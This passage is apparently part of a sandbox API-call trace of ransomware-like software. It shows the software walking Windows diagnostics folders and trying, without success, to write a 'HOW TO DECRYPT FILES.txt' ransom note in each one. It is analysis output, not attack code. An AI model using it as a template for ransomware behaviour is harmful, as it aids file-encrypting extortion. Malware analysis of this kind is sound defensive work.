returned 1 [0126.381] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0126.381] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\en-US\\*.*") returned="*.*" [0126.381] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US\\" [0126.381] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\en-US\\") returned="" [0126.381] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt" [0126.381] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.381] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.382] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.382] CloseHandle (hObject=0xffffffff) returned 0 [0126.382] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US\\CL_LocalizationData.psd1" [0126.382] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.383] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.383] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.383] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.383] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.383] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US\\" [0126.383] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\en-US\\") returned="" [0126.383] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt" [0126.383] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.383] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.383] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.384] CloseHandle (hObject=0xffffffff) returned 0 [0126.384] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\Device\\en-US\\DiagPackage.dll.mui" [0126.384] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.384] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_CheckDevices.ps1") returned -1 [0126.384] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_CheckDevices.ps1") returned -1 [0126.384] lstrcmpiA (lpString1="", lpString2="RS_CheckDevices.ps1") returned -1 [0126.384] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\*.*") returned="*.*" [0126.384] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.384] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.384] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.384] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.385] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.385] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.385] CloseHandle (hObject=0xffffffff) returned 0 [0126.385] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="RS_CheckDevices.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\RS_CheckDevices.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\RS_CheckDevices.ps1" [0126.386] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.386] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DriverNotFound.ps1") returned -1 [0126.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DriverNotFound.ps1") returned -1 [0126.386] lstrcmpiA (lpString1="", lpString2="RS_DriverNotFound.ps1") returned -1 [0126.386] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\RS_CheckDevices.ps1") returned="RS_CheckDevices.ps1" [0126.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.386] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.386] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.386] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.386] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.387] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.387] CloseHandle (hObject=0xffffffff) returned 0 [0126.387] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="RS_DriverNotFound.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\RS_DriverNotFound.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\RS_DriverNotFound.ps1" [0126.387] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_EnableDevice.ps1") returned -1 [0126.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_EnableDevice.ps1") returned -1 [0126.387] lstrcmpiA (lpString1="", lpString2="RS_EnableDevice.ps1") returned -1 [0126.387] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\RS_DriverNotFound.ps1") returned="RS_DriverNotFound.ps1" [0126.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.387] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.387] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.387] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.388] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.388] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.388] CloseHandle (hObject=0xffffffff) returned 0 [0126.388] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="RS_EnableDevice.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\RS_EnableDevice.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\RS_EnableDevice.ps1" [0126.388] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.389] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\RS_EnableDevice.ps1") returned="RS_EnableDevice.ps1" [0126.389] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.389] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.389] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.389] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.389] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.389] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.389] CloseHandle (hObject=0xffffffff) returned 0 [0126.390] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="RS_RescanAllDevices.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\RS_RescanAllDevices.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\RS_RescanAllDevices.ps1" [0126.390] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.390] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\RS_RescanAllDevices.ps1") returned="RS_RescanAllDevices.ps1" [0126.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.390] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.390] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.390] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.390] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.391] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.391] CloseHandle (hObject=0xffffffff) returned 0 [0126.391] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="RS_UpdateDriver.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\RS_UpdateDriver.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\RS_UpdateDriver.ps1" [0126.391] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.391] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\RS_UpdateDriver.ps1") returned="RS_UpdateDriver.ps1" [0126.391] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.392] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.392] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.392] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.392] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.392] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.392] CloseHandle (hObject=0xffffffff) returned 0 [0126.392] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="RS_WindowsUpdate.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\RS_WindowsUpdate.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\RS_WindowsUpdate.ps1" [0126.393] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.393] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\RS_WindowsUpdate.ps1") returned="RS_WindowsUpdate.ps1" [0126.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.393] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.393] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.393] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.393] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.394] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.394] CloseHandle (hObject=0xffffffff) returned 0 [0126.394] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="TS_DeviceDisabled.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\TS_DeviceDisabled.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\TS_DeviceDisabled.ps1" [0126.394] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.394] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\TS_DeviceDisabled.ps1") returned="TS_DeviceDisabled.ps1" [0126.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.395] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.395] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.395] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.395] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.395] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.395] CloseHandle (hObject=0xffffffff) returned 0 [0126.395] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="TS_DriverNeedUpdated.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\TS_DriverNeedUpdated.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\TS_DriverNeedUpdated.ps1" [0126.396] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.396] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\TS_DriverNeedUpdated.ps1") returned="TS_DriverNeedUpdated.ps1" [0126.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.396] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.396] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.396] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.396] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.397] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.397] CloseHandle (hObject=0xffffffff) returned 0 [0126.397] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="TS_DriverNotFound.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\TS_DriverNotFound.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\TS_DriverNotFound.ps1" [0126.397] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.397] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\TS_DriverNotFound.ps1") returned="TS_DriverNotFound.ps1" [0126.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.397] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.397] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.397] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.398] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.398] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.398] CloseHandle (hObject=0xffffffff) returned 0 [0126.398] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="TS_HardwareDeviceMain.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\TS_HardwareDeviceMain.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\TS_HardwareDeviceMain.ps1" [0126.398] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.399] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\TS_HardwareDeviceMain.ps1") returned="TS_HardwareDeviceMain.ps1" [0126.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.399] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.399] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.399] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.399] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.399] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.399] CloseHandle (hObject=0xffffffff) returned 0 [0126.399] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", 